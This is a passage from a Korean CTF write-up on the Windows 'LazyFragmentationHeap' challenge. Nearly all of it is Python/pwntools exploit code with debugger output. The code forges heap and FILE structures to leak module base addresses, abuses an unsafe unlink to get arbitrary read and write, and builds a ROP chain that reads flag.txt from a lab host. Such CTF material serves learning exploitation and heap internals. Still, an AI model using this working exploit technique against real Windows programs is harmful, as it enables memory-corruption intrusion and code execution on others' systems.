alloc(2, 0x268)
alloc(3, 0x200)

fake_entry = 0x10000027c80101c8 ^ heap_encod
'''
0x10000027c80101c8
   +0x008 Size             : 0x1c8
   +0x00a Flags            : 0x1 ''
   +0x00b SmallTagIndex    : 0xc8 ''
   +0x008 SubSegmentCode   : 0xc80101c8
   +0x00c PreviousSize     : 0x27
   +0x00e SegmentOffset    : 0 ''
   +0x00e LFHFlags         : 0 ''
   +0x00f UnusedBytes      : 0x10 ''
'''
log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

alloc(4, 0x1c80 -  # fake chunk size 
         0x20   -  # sizeof(_HEAP_ENTRY) * 2
         0x200     # orginal size of overwritten chunk
) 

open_file()
read_file(2, 0x268)
edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)

free(3)         # free coalesce mechanism also free'ing chunk 4
alloc(3, 0x200) # set Flink and Blink at chunk 4

heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
if heap_base == 0:
	log.error("Heap address not leaked")
	sys.exit(-1)

log.info("&_HEAP = 0x%016x" % heap_base)

# make LFH to allocate new Userblock in chunk 4
for _ in range(0x14):
	open_file()

pause()

'''
0:001> dqs beefdad0000+(0x28*3) l5
00000bee`fdad0078  0000ddaa`beef1acd
00000bee`fdad0080  00000000`00001a60 <------------|
00000bee`fdad0088  00000000`00000004              |
00000bee`fdad0090  0000ddaa`beef1acd              |
00000bee`fdad0098  00000128`446003c0              |---- profit!
0:001> dqs lazyfragmentationheap+5628 l1          |
00007ff7`6f405628  00000128`44600950              |
0:001> ? 00000128`44600950-00000128`446003c0      |
Evaluate expression: 1424 = 00000000`00000590 <---|
'''

FILE 구조체를 이용한 공격기법은 Angelboy가 작성한 Play with FILE Structure - Yet Another Binary Exploit Technique에 잘 정리되어 있지만 Linux를 기준으로 설명하고 있어 Windows의 FILE 구조체와는 약간 다른데 이 부분은 디버거로 보면 바로 보이기 때문에 FILE 구조체가 어떤 구조를 가지고 있는지 분석하는 건 그닥 어렵지 않습니다.

_HEAP 구조체의 주소를 알고 있으니 해당 구조체 근처에서 구할 수 있는 ntdll.dll의 주소부터 leak해보겠습니다.

# skip for brevity...

# make LFH to allocate new Userblock in chunk 4
for _ in range(0x14):
	open_file()

fake_HEAP_USERDATA_HEADER = ""
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0)   # +0x000 SubSegment
fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40)  # +0x008 Reserved
fake_HEAP_USERDATA_HEADER += p32(0xc)                  # +0x010 SizeIndexAndPadding
fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0)           # +0x014 Signature
fake_HEAP_USERDATA_HEADER += p64(0) * 5                # I couldn't leak other values

fake_FILE = ""
fake_FILE += p64(0) * 2              # _HEAP_ENTRY
fake_FILE += p64(heap_base + 0x2C0)  # cursor of SEEK_CUR, _HEAP->LockVariable->Lock
fake_FILE += p64(heap_base)          # base address, &_HEAP
fake_FILE += p32(0x800)              # remaining file size
fake_FILE += p32(0x2041)             # I dunno what they are
fake_FILE += p64(0x17)				
fake_FILE += p64(0x1000)
fake_FILE += p64(0)
fake_FILE += p64(0xffffffffffffffff)
fake_FILE += p64(0xffffffff)
fake_FILE += p64(0)
fake_FILE += p64(0)

for_leak = ""
for_leak += fake_HEAP_USERDATA_HEADER
for_leak += fake_FILE * (0x1000 / len(fake_FILE))

edit(4, for_leak)
alloc(5, SIZE)
read_file(5,8)
ntdll_base = u64(show(5)[:8].ljust(8, p8(0))) - 0x163d70

log.info("&ntdll = 0x%016x" % ntdll_base)

pause()
hi.close()

'''
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP->Encoding = 0x0000b6942c981917
[*] fake XOR'ed _HEAP_ENTRY = 0x1000b6b3e49918df
[*] &_HEAP = 0x0000018809710000
[*] &ntdll = 0x00007ffd09b00000
[*] Paused (press any to continue)
....
0:001> ? ntdll
Evaluate expression: 140724765982720 = 00007ffd`09b00000
'''

그리고 주소를 계속 leak해보다가 알게된 건데 정확한 이유는 알 수 없지만 프로세스가 바뀌더라도 LazyFragmentationHeap.exe를 포함해 로드된 모듈들의 주소는 변하지 않았습니다.

$ python ex.py
[+] Opening connection to 192.168.0.18 on port 6677: Done
[*] _HEAP->Encoding = 0x0000ded8a1942b54
[*] fake XOR'ed _HEAP_ENTRY = 0x1000deff69952a9c
[*] &_HEAP = 0x000001c50e7e0000
[*] &ntdll = 0x00007ffd09b00000 <------------------------------|
[*] Closed connection to 192.168.0.18 port 6677                |
                                                               |
$ python ex.py                                                 |
[+] Opening connection to 192.168.0.18 on port 6677: Done      |
[*] _HEAP->Encoding = 0x000072da0f33e8bf                       |
[*] fake XOR'ed _HEAP_ENTRY = 0x100072fdc732e977               |
[*] &_HEAP = 0x0000019898950000                                |
[*] &ntdll = 0x00007ffd09b00000 <------------------------------|

어차피 FILE 구조체를 통해 데이터를 읽어들이는 횟수에 제한을 두고 있어서, FILE 구조체를 이용한 주소 leak은 프로세스 당 한번씩만 할 수 있기 때문에 아래와 같이 코드를 수정했습니다.

from pwn import *

# context.log_level = "debug"

# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
HOST = "192.168.0.18" # VirtualBox Bridge 
PORT = 6677
SIZE = 0xC8 # yes, I intend korean slang

hi = None
sla = None

def alloc(chunk_id, size):
	sla("Your choice: ", str(1))
 	sla("Size:", str(size))
	sla("ID:", str(chunk_id))

def edit(chunk_id, val, need_newline=True):
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
	if need_newline:
		sla("Content:", val)
	else:
		hi.sendafter("Content:", val)

def show(chunk_id):
	sla("Your choice: ", str(3))
	sla("ID:", str(chunk_id))
	return hi.recvline().strip().split("Content: ")[-1]

def free(chunk_id):
	sla("Your choice: ", str(4))
	sla("ID:", str(chunk_id))

def open_file():
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(1))
	sla("Your choice: ", str(3))

def read_file(chunk_id, size):
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
 	sla("Size:", str(size))
	sla("Your choice: ", str(3))


def leak(cursor=0):
	global hi, sla
	context.log_level = "error"
	hi = remote(HOST, PORT)
	sla = hi.sendlineafter

	alloc(1, SIZE)
	edit(1, "A" * SIZE)
	try:
		heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
	except struct.error:
		log.info("_HEAP_ENTRY not leaked")
		return

	# log.info("_HEAP->Encoding = 0x%016x" % heap_encod)

	alloc(2, 0x268)
	alloc(3, 0x200)
	fake_entry = 0x10000027c80101c8 ^ heap_encod
	'''
	0x10000027c80101c8
	   +0x008 Size             : 0x1c8
	   +0x00a Flags            : 0x1 ''
	   +0x00b SmallTagIndex    : 0xc8 ''
	   +0x008 SubSegmentCode   : 0xc80101c8
	   +0x00c PreviousSize     : 0x27
	   +0x00e SegmentOffset    : 0 ''
	   +0x00e LFHFlags         : 0 ''
	   +0x00f UnusedBytes      : 0x10 ''
	'''

	# log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

	alloc(4, 0x1c80 -  # fake chunk size 
	         0x20   -  # sizeof(_HEAP_ENTRY) * 2
	         0x200     # orginal size of overwritten chunk
	) 
	open_file()
	read_file(2, 0x268)
	edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
	free(3)         # free coalesce mechanism also free'ing chunk 4
	alloc(3, 0x200) # set Flink and Blink at chunk 4

	heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
	if heap_base == 0:
		log.info("Heap address not leaked")
        return

	# default target is ntdll on _HEAP->LockVariable->Lock
	if cursor == 0:
		cursor = heap_base + 0x2c0
		
	# log.info("&_HEAP = 0x%016x" % heap_base)

	# make LFH to allocate new Userblock in chunk 4
	for _ in range(0x14):
		open_file()

	fake_HEAP_USERDATA_HEADER = ""
	fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0)   # +0x000 SubSegment
	fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40)  # +0x008 Reserved
	fake_HEAP_USERDATA_HEADER += p32(0xc)                  # +0x010 SizeIndexAndPadding
	fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0)           # +0x014 Signature
	fake_HEAP_USERDATA_HEADER += p64(0) * 5                # I couldn't leak other values

	fake_FILE = ""
	fake_FILE += p64(0) * 2              # _HEAP_ENTRY
	fake_FILE += p64(cursor)             # cursor of SEEK_CUR
	fake_FILE += p64(cursor & ~0xfff)    # base address
	fake_FILE += p32(0x800)              # remaining file size
	fake_FILE += p32(0x2041)             # I dunno what they are
	fake_FILE += p64(0x17)				
	fake_FILE += p64(0x1000)
	fake_FILE += p64(0)
	fake_FILE += p64(0xffffffffffffffff)
	fake_FILE += p64(0xffffffff)
	fake_FILE += p64(0)
	fake_FILE += p64(0)

	for_leak = ""
	for_leak += fake_HEAP_USERDATA_HEADER
	for_leak += fake_FILE * (0x1000 / len(fake_FILE))

	edit(4, for_leak)
	alloc(5, SIZE)
	read_file(5,8)
	result = u64(show(5)[:8].ljust(8, p8(0)))

	sla("Your choice: ", str(6))
	hi.close()
	context.log_level = "info"
	return result


ntdll_base = leak() - 0x163d70
log.info("ntdll = 0x%016x" % ntdll_base)

ntdll.dll은 아무래도 Windows의 핵심 모듈이다 보니 외부 모듈을 참조하지 않아 IAT는 없지만, 내부적으로 PebLdr이라고 _PEB->Ldr가 가리키는 로드된 모듈끼리의 Double Linked List가 존재합니다.

0:001> dt ntdll!_PEB @$peb Ldr
   +0x018 Ldr : 0x00007ffd`09c653c0 _PEB_LDR_DATA <---------|
                                                            |
0:001> ? ntdll!PebLdr                                       |
Evaluate expression: 140724767445952 = 00007ffd`09c653c0 <--|

0:001> dt ntdll!_PEB_LDR_DATA 00007ffd`09c653c0
   +0x000 Length           : 0x58
   +0x004 Initialized      : 0x1 ''
   +0x008 SsHandle         : (null) 
   +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702780 - 0x0000016c`d7705d20 ]
   +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702790 - 0x0000016c`d7705d30 ]
   +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x0000016c`d7702610 - 0x0000016c`d7702e40 ]
   +0x040 EntryInProgress  : (null) 
   +0x048 ShutdownInProgress : 0 ''
   +0x050 ShutdownThreadId : (null) 

0:001> dqs 16c`d7702780
0000016c`d7702780  0000016c`d77025f0
0000016c`d7702788  00007ffd`09c653d0 ntdll!PebLdr+0x10
0000016c`d7702790  0000016c`d7702600
0000016c`d7702798  00007ffd`09c653e0 ntdll!PebLdr+0x20
0000016c`d77027a0  00000000`00000000
0000016c`d77027a8  00000000`00000000
0000016c`d77027b0  00007ff7`6f400000 LazyFragmentationHeap
0000016c`d77027b8  00007ff7`6f401bf0 LazyFragmentationHeap+0x1bf0
....

분석을 하다 알게되었는데, _PEB_LDR_DATA->InLoadOrderModuleList가 가리키는 Heap 영역의 offset이 항상 0x27b0으로 고정되어 있어 아래와 같이 바로 leak할 수 있고, IAT를 통해 다른 라이브러리의 주소도 구할 수 있었습니다.

from pwn import *

# context.log_level = "debug"

# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
HOST = "192.168.0.18" # VirtualBox Bridge 
PORT = 6677
SIZE = 0xC8 # yes, I intend korean slang

hi = None
sla = None

def alloc(chunk_id, size):
	sla("Your choice: ", str(1))
 	sla("Size:", str(size))
	sla("ID:", str(chunk_id))

def edit(chunk_id, val, need_newline=True):
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
	if need_newline:
		sla("Content:", val)
	else:
		hi.sendafter("Content:", val)

def show(chunk_id):
	sla("Your choice: ", str(3))
	sla("ID:", str(chunk_id))
	return hi.recvline().strip().split("Content: ")[-1]

def free(chunk_id):
	sla("Your choice: ", str(4))
	sla("ID:", str(chunk_id))

def open_file():
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(1))
	sla("Your choice: ", str(3))

def read_file(chunk_id, size):
	sla("Your choice: ", str(5))
	sla("Your choice: ", str(2))
	sla("ID:", str(chunk_id))
 	sla("Size:", str(size))
	sla("Your choice: ", str(3))


def leak(cursor=0, disconn=True, leakLazy=False):
	global hi, sla
	context.log_level = "error"
	hi = remote(HOST, PORT)
	sla = hi.sendlineafter

	alloc(1, SIZE)
	edit(1, "A" * SIZE)
	try:
		heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
	except struct.error:
		log.info("_HEAP_ENTRY not leaked")
		return

	# log.info("_HEAP->Encoding = 0x%016x" % heap_encod)

	alloc(2, 0x268)
	alloc(3, 0x200)
	fake_entry = 0x10000027c80101c8 ^ heap_encod
	'''
	0x10000027c80101c8
	   +0x008 Size             : 0x1c8
	   +0x00a Flags            : 0x1 ''
	   +0x00b SmallTagIndex    : 0xc8 ''
	   +0x008 SubSegmentCode   : 0xc80101c8
	   +0x00c PreviousSize     : 0x27
	   +0x00e SegmentOffset    : 0 ''
	   +0x00e LFHFlags         : 0 ''
	   +0x00f UnusedBytes      : 0x10 ''
	'''

	# log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

	alloc(4, 0x1c80 -  # fake chunk size 
	         0x20   -  # sizeof(_HEAP_ENTRY) * 2
	         0x200     # orginal size of overwritten chunk
	) 
	open_file()
	read_file(2, 0x268)
	edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
	free(3)         # free coalesce mechanism also free'ing chunk 4
	alloc(3, 0x200) # set Flink and Blink at chunk 4

	heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
	if heap_base == 0:
		log.info("Heap address not leaked")
		return

	if leakLazy:
		cursor = heap_base + 0x27b2 # can't leak null-byte
	elif cursor == 0:
		# default target is ntdll on _HEAP->LockVariable->Lock
		cursor = heap_base + 0x2c0
		
	# log.info("&_HEAP = 0x%016x" % heap_base)

	# make LFH to allocate new UserBlock in chunk 4
	for _ in range(0x14):
		open_file()

	fake_HEAP_USERDATA_HEADER = ""
	fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0)   # +0x000 SubSegment
	fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40)  # +0x008 Reserved
	fake_HEAP_USERDATA_HEADER += p32(0xc)                  # +0x010 SizeIndexAndPadding
	fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0)           # +0x014 Signature
	fake_HEAP_USERDATA_HEADER += p64(0) * 5                # I couldn't leak other values

	fake_FILE = ""
	fake_FILE += p64(0) * 2              # _HEAP_ENTRY
	fake_FILE += p64(cursor)             # cursor of SEEK_CUR
	fake_FILE += p64(cursor & ~0xfff)    # base address
	fake_FILE += p32(0x800)              # remaining file size
	fake_FILE += p32(0x2041)             # I dunno what they are
	fake_FILE += p64(0x17)				
	fake_FILE += p64(0x1000)
	fake_FILE += p64(0)
	fake_FILE += p64(0xffffffffffffffff)
	fake_FILE += p64(0xffffffff)
	fake_FILE += p64(0)
	fake_FILE += p64(0)

	for_leak = ""
	for_leak += fake_HEAP_USERDATA_HEADER
	for_leak += fake_FILE * (0x1000 / len(fake_FILE))

	edit(4, for_leak)
	alloc(5, SIZE)
	if leakLazy:
		read_file(5,4)
		result = u64(show(5)[:4].ljust(8, p8(0))) << 16
	else:
		read_file(5,8)
		result = u64(show(5)[:8].ljust(8, p8(0)))

	if disconn:
		sla("Your choice: ", str(6))
		hi.close()

	context.log_level = "info"
	return result

lazy_base = leak(leakLazy=True)
log.info("LazyFragmentationHeap = 0x%016x" % lazy_base)

kernel32 = leak(lazy_base+0x3008) - 0x1e690  # KERNEL32!IsDebuggerPresentStub
ntdll    = leak(lazy_base+0x3010) - 0x73810  # ntdll!RtlInitializeSListHead
ucrtbase = leak(lazy_base+0x30b0) - 0x0f760  # ucrtbase!free

log.info("kernel32 = 0x%016x" % kernel32)
log.info("ntdll    = 0x%016x" % ntdll)
log.info("ucrtbase = 0x%016x" % ucrtbase)

'''
[*] LazyFragmentationHeap = 0x00007ff76f400000
[*] kernel32 = 0x00007ffd09140000
[*] ntdll    = 0x00007ffd09b00000
[*] ucrtbase = 0x00007ffd075e0000
'''

필요한 모듈주소를 모두 leak 했으니 이제 마지막 익스플로잇 단계만 남았습니다.

공격기법은 3.10. Allocate and Free Non-LFH chunk에서 언급한대로 Unsafe Unlink 기법을 이용해 R/W primitive를 만들어서 ROP를 해야하는데, 이후의 부분은 LFH보단 일반적인 Heap Feng-Shui에 가깝기 때문에 설명은 코드에 달린 주석으로 생략할려고 합니다.

근데 이거저거 재밌는게 많아서 이부분은 직접 한번 해보시는걸 추천해드립니다!

from pwn import *

# context.log_level = "debug"

# HOST = "192.168.56.102" # VirtualBox Host-Only Adapter
HOST = "192.168.0.18" # VirtualBox Bridge 
PORT = 6677
SIZE = 0xC8 # yes, I intend korean slang

hi = None
sla = None

def alloc(chunk_id, size):
    sla("Your choice: ", str(1))
    sla("Size:", str(size))
    sla("ID:", str(chunk_id))

def edit(chunk_id, val, need_newline=True):
    sla("Your choice: ", str(2))
    sla("ID:", str(chunk_id))
    if need_newline:
        sla("Content:", val)
    else:
        hi.sendafter("Content:", val)

def show(chunk_id):
    sla("Your choice: ", str(3))
    sla("ID:", str(chunk_id))
    return hi.recvline().strip()[9:]

def free(chunk_id):
    sla("Your choice: ", str(4))
    sla("ID:", str(chunk_id))

def open_file():
    sla("Your choice: ", str(5))
    sla("Your choice: ", str(1))
    sla("Your choice: ", str(3))

def read_file(chunk_id, size, go_back=True):
    sla("Your choice: ", str(5))
    sla("Your choice: ", str(2))
    sla("ID:", str(chunk_id))
    sla("Size:", str(size))
    if go_back:
        sla("Your choice: ", str(3))


def persistent_leak(cursor=0, disconn=True, leakLazy=False):
    global hi, sla
    context.log_level = "error"
    hi = remote(HOST, PORT)
    sla = hi.sendlineafter

    alloc(1, SIZE)
    edit(1, "A" * SIZE)
    try:
        heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
    except struct.error:
        log.info("_HEAP_ENTRY not leaked")
        return

    # log.info("_HEAP->Encoding = 0x%016x" % heap_encod)

    alloc(2, 0x268)
    alloc(3, 0x200)
    fake_entry = 0x10000027c80101c8 ^ heap_encod
    '''
    0x10000027c80101c8
       +0x008 Size             : 0x1c8
       +0x00a Flags            : 0x1 ''
       +0x00b SmallTagIndex    : 0xc8 ''
       +0x008 SubSegmentCode   : 0xc80101c8
       +0x00c PreviousSize     : 0x27
       +0x00e SegmentOffset    : 0 ''
       +0x00e LFHFlags         : 0 ''
       +0x00f UnusedBytes      : 0x10 ''
    '''

    # log.info("fake XOR'ed _HEAP_ENTRY = 0x%016x" % fake_entry)

    alloc(4, 0x1c80 -  # fake chunk size 
             0x20   -  # sizeof(_HEAP_ENTRY) * 2
             0x200     # orginal size of overwritten chunk
    ) 
    open_file()
    read_file(2, 0x268)
    edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
    free(3)         # free coalesce mechanism also free'ing chunk 4
    alloc(3, 0x200) # set Flink and Blink at chunk 4

    heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
    if heap_base == 0:
        log.info("Heap address not leaked")
        return

    if leakLazy:
        cursor = heap_base + 0x27b2 # can't leak null-byte
    elif cursor == 0:
        # default target is ntdll on _HEAP->LockVariable->Lock
        cursor = heap_base + 0x2c0
        
    # log.info("&_HEAP = 0x%016x" % heap_base)

    # make LFH to allocate new Userblock in chunk 4
    for _ in range(0x14):
        open_file()

    fake_HEAP_USERDATA_HEADER = ""
    fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0)   # +0x000 SubSegment
    fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40)  # +0x008 Reserved
    fake_HEAP_USERDATA_HEADER += p32(0xc)                  # +0x010 SizeIndexAndPadding
    fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0)           # +0x014 Signature
    fake_HEAP_USERDATA_HEADER += p64(0) * 5                # I couldn't leak other values

    fake_FILE = ""
    fake_FILE += p64(0) * 2              # _HEAP_ENTRY
    fake_FILE += p64(cursor)             # cursor of SEEK_CUR
    fake_FILE += p64(cursor & ~0xfff)    # base address
    fake_FILE += p32(0x800)              # remaining file size
    fake_FILE += p32(0x2041)             # I dunno what they are
    fake_FILE += p64(0x17)                
    fake_FILE += p64(0x1000)
    fake_FILE += p64(0)
    fake_FILE += p64(0xffffffffffffffff)
    fake_FILE += p64(0xffffffff)
    fake_FILE += p64(0)
    fake_FILE += p64(0)

    for_leak = ""
    for_leak += fake_HEAP_USERDATA_HEADER
    for_leak += fake_FILE * (0x1000 / len(fake_FILE))

    edit(4, for_leak)
    alloc(5, SIZE)
    if leakLazy:
        read_file(5,4)
        result = u64(show(5)[:4].ljust(8, p8(0))) << 16
    else:
        read_file(5,8)
        result = u64(show(5)[:8].ljust(8, p8(0)))

    if disconn:
        sla("Your choice: ", str(6))
        hi.close()

    context.log_level = "info"
    return result


magic_switch = True
def exploit():
    global hi, sla
    hi = remote(HOST, PORT)
    sla = hi.sendlineafter

    alloc(1, SIZE)
    edit(1, "A" * SIZE)
    try:
        heap_encod = u64(show(1)[SIZE:] + "\x00\x10") ^ 0x1000000d02010003
    except struct.error:
        log.info("_HEAP_ENTRY not leaked")
        return

    alloc(2, 0x268)
    alloc(3, 0x200)
    fake_entry = 0x10000027c80101c8 ^ heap_encod
    '''
    0x10000027c80101c8
       +0x008 Size             : 0x1c8
       +0x00a Flags            : 0x1 ''
       +0x00b SmallTagIndex    : 0xc8 ''
       +0x008 SubSegmentCode   : 0xc80101c8
       +0x00c PreviousSize     : 0x27
       +0x00e SegmentOffset    : 0 ''
       +0x00e LFHFlags         : 0 ''
       +0x00f UnusedBytes      : 0x10 ''
    '''

    alloc(4, 0x1000) # big chunk for LFH's new UserBlock

    # pre-setting for Unsafe Unlink
    # (0x1c80 - 0x40 - 0x200 - 0x1000)/2 = 0x520
    alloc(5, 0x520) 

    # this is chunk 6
    # set chunk_id to _HEP_ENTRY for Heap Feng-Shui
    alloc(0x5353000053 ^ heap_encod, 0x520)

    open_file()
    read_file(2, 0x268)
    edit(2, "A" * 0x268 + p64(fake_entry)[:6], False)
    free(3)         # free coalesce mechanism also free'ing chunk 4, 5, 6
    alloc(3, 0x200) # set Flink and Blink at chunk 4, 5, 6

    heap_base = u64(show(4)[:8].ljust(8, p8(0))) - 0x150
    if heap_base == 0:
        log.info("Heap address not leaked")
        return

    # make LFH to allocate new Userblock in chunk 4
    for _ in range(0x14):
        open_file()

    fake_HEAP_USERDATA_HEADER = ""
    fake_HEAP_USERDATA_HEADER += p64(heap_base + 0xbcd0)    # +0x000 SubSegment
    fake_HEAP_USERDATA_HEADER += p64(heap_base + 0x12e40)   # +0x008 Reserved
    fake_HEAP_USERDATA_HEADER += p32(0xc)                   # +0x010 SizeIndexAndPadding
    fake_HEAP_USERDATA_HEADER += p32(0xf0e0d0c0)            # +0x014 Signature
    fake_HEAP_USERDATA_HEADER += p64(0) * 5                 # I couldn't leak other values

    # cursor points heap_mem of chunk 3
    cursor = 0xbeefdad0000 + (0x28 * 2) + 0x20

    # HAVE TO set specific values to get input from STDIN
    fake_FILE = ""
    fake_FILE += p64(0) * 2              # _HEAP_ENTRY
    fake_FILE += p64(cursor)             # cursor of SEEK_CUR <--|
    fake_FILE += p64(cursor)             # base address <--------|-- both must be equal
    fake_FILE += p32(0)                  # remaining file size
    fake_FILE += p32(0x2041)             # I dunno what they are
    fake_FILE += p64(0x1)                # <------------------------ only 0 or 1 or 2
    fake_FILE += p64(0x800)
    fake_FILE += p64(0)
    fake_FILE += p64(0xffffffffffffffff)
    fake_FILE += p64(0xffffffff)
    fake_FILE += p64(0)
    fake_FILE += p64(0)

    for_leak = ""
    for_leak += fake_HEAP_USERDATA_HEADER
    for_leak += fake_FILE * ((0x1000-len(for_leak)) / len(fake_FILE))

    edit(4, for_leak, False)
    read_file(3, 8, False)

    # ucrtbase!_pioinfo[0] has fixed heap offset
    hi.send(p64(heap_base+0x8d48)) # I dunno any details about windows FSOP...V_V
    sla("Your choice: ", str(3))   # But @scwuaptx said offset 0x38 is flag
    edit(3, p8(9), False)          # this will switch text mode to binary mode

    fxxk = 0xbeefdad0000 + (0x28 * 5) + 0x20 # heap_mem of chunk 6 

    alloc(7, (0x520*2) + 0x10) # sizeof(chunk 5 and 6) + sizeof(_HEAP_ENTRY)
                               # have same heap_mem with chunk 5
    free(5)                    # Actually it free'ing chunk 7
    alloc(5, 0x520)            # Now, chunk 7 === chunk 5

    # But chunk 7 is bigger than chunk 5
    edit(7, "A" * 0x520 + 
            p64(0) + 
            p64(0x5353000053 ^ heap_encod) + 
            p64(fxxk - 8) + # Flink->Blink = Flink
            p64(fxxk)       # Blink->Flink = Blink
                            # satisfying unlink condition
                            # *(fxxk) = fxxk
    )
    alloc(8, 0x520)
    
    lazy_id1 = 0xdeadbeef 
    lazy_id2 = 0xcafebabe
    lazy_id3 = 0x13371337
    create_lazy_header = lambda chunk_id : flat([
                                               0xddaabeef1acd, 
                                               0x200,
                                               chunk_id,
                                               0xddaabeef1acd, 
                                           ], word_size=64, endianness="little")

    lazy_header1 = create_lazy_header(lazy_id1)
    lazy_header2 = create_lazy_header(lazy_id2)
    lazy_header3 = create_lazy_header(lazy_id3)

    edit(0x5353000053 ^ heap_encod, p64(0xbeefdad0000) + 
                                    lazy_header1 + 
                                    p64(0xbeefdad0000)
    )

    # set lazy_header1 at 0xbeefdad0000
    edit(lazy_id1, lazy_header1 + p64(0xbeefdad0000)) 

    # Becuase of edit limit at "2. Edit File content",
    # HAVE TO keep modifying magic1
    def lazy_read(addr):
        global magic_switch

        if magic_switch:
            edit(lazy_id1, lazy_header1 + 
                           p64(addr) +
                           lazy_header2 +
                           p64(0xbeefdad0000)
            )
            result = show(lazy_id1)
        else:
            edit(lazy_id2, lazy_header1 + 
                           p64(0xbeefdad0000) +
                           lazy_header2 +
                           p64(addr)
            )
            result = show(lazy_id2)

        magic_switch = not magic_switch
        return result

    def lazy_write(addr, value):
        global magic_switch

        if magic_switch:
            edit(lazy_id1, lazy_header1 + 
                           p64(addr) +
                           lazy_header2 +
                           p64(0xbeefdad0000) +
                           lazy_header3 +
                           p64(addr)
            )
        else:
            edit(lazy_id2, lazy_header1 + 
                           p64(0xbeefdad0000) +
                           lazy_header2 +
                           p64(addr) +
                           lazy_header3 +
                           p64(addr)
            )

        edit(lazy_id3, value, False)
        magic_switch = not magic_switch

    # ntdll!TlsBitMap+0x8 == _PEB->TlsBitmap
    _PEB = u64(lazy_read(ntdll+0x165348).ljust(8, p8(0))) - 0x80 
    _TEB = _PEB + 0x1000 

    log.info("&_PEB = 0x%016x" % _PEB)
    log.info("&_TEB = 0x%016x" % _TEB)

    # leak _TEB->NtTib->StackBase
    stack_base = u64(lazy_read(_TEB + 8 + 2).ljust(8, p8(0))) << 16
    log.info("_TEB->NtTib->StackBase = 0x%016x" % stack_base)
   
    # find return address of main() at beginning
    main_ret = lazy_base + 0x1b78

    find_ret_addr = hi.progress("finding return address on stack")
    for offset in range(8, 0x1000, 8):
        stack_addr = stack_base - offset
        stack_leak = u64(lazy_read(stack_addr).ljust(8, p8(0)))

        if stack_leak == main_ret:
            find_ret_addr.success("gotcha!")
            break

    # return addres of read() at lazyfragmentationheap+0x14bb
    stack_addr = stack_addr - 0x80
    log.info("stack addr = 0x%016x" % stack_addr)

    flag_addr = lazy_base + 0x50c0
    flag_buf = lazy_base + 0x50d0
    lazy_write(flag_addr, "flag.txt\x00")

    # restore Heap for WINAPI internal usage
    HeapCreate_addr   = kernel32 + 0x1e500 # IAT to KERNELBASE!HeapCreate

    # https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/crt-alphabetical-function-reference
    # ucrtbase.dll contains POSIX functions like open(), read(), write()...
    open_addr  = ucrtbase + 0xa1ae0
    read_addr  = ucrtbase + 0x16140
    write_addr = ucrtbase + 0x14b30
    exit_addr  = ucrtbase + 0x1b8c0

    pop_rcx_ret = ntdll + 0x21527
    pop_rdx_ret = ucrtbase + 0xa9eb2
    pop_r8_ret  = ntdll + 0x4d6cf
    store_rdx_rax_ret = ntdll + 0x88f5c
    store_rcx_plus8_rax_ret = ucrtbase + 0x4a721
    add_rsp_0x28_ret = ntdll + 0x63c5

    process_heap = _PEB + 0x30    # _PEB->ProcessHeap
    crt_heap = ucrtbase + 0xeb570 # ucrtbase!_acrt_heap

    rop_chain = flat([
        pop_rcx_ret,
        0,
        pop_rdx_ret,
        0,
        pop_r8_ret,
        0,
        HeapCreate_addr,   # rax = HeapCreate(0, 0, 0)

        pop_rdx_ret, 
        process_heap,
        store_rdx_rax_ret, # *process_heap = rax

        pop_rdx_ret, 
        crt_heap,
        store_rdx_rax_ret, # *crt_heap = rax

        # rax = open("flag.txt", _O_RDONLY, _S_IREAD)
        pop_rcx_ret,
        flag_addr,
        pop_rdx_ret,
        0,
        pop_r8_ret,
        0x100,
        open_addr,
        add_rsp_0x28_ret,
        0, 0, 0, 0, 0,

        # read(rax, flag_buf, 0x80)
        pop_rcx_ret,
        stack_addr + (8 * 29),
        store_rcx_plus8_rax_ret,
        pop_rcx_ret,
        0x12345678, # will replace to fd
        pop_rdx_ret, 
        flag_buf,
        pop_r8_ret,
        0x80,
        read_addr,
        add_rsp_0x28_ret,
        0, 0, 0, 0, 0,

        # write(1, flag_buf, 0x80)
        pop_rcx_ret,
        1,
        pop_rdx_ret,
        flag_buf,
        pop_r8_ret,
        0x80,
        write_addr,
        add_rsp_0x28_ret,
        0, 0, 0, 0, 0,

        # exit(0)
        pop_rcx_ret,
        0,
        exit_addr
    ], word_size=64, endianness="little")

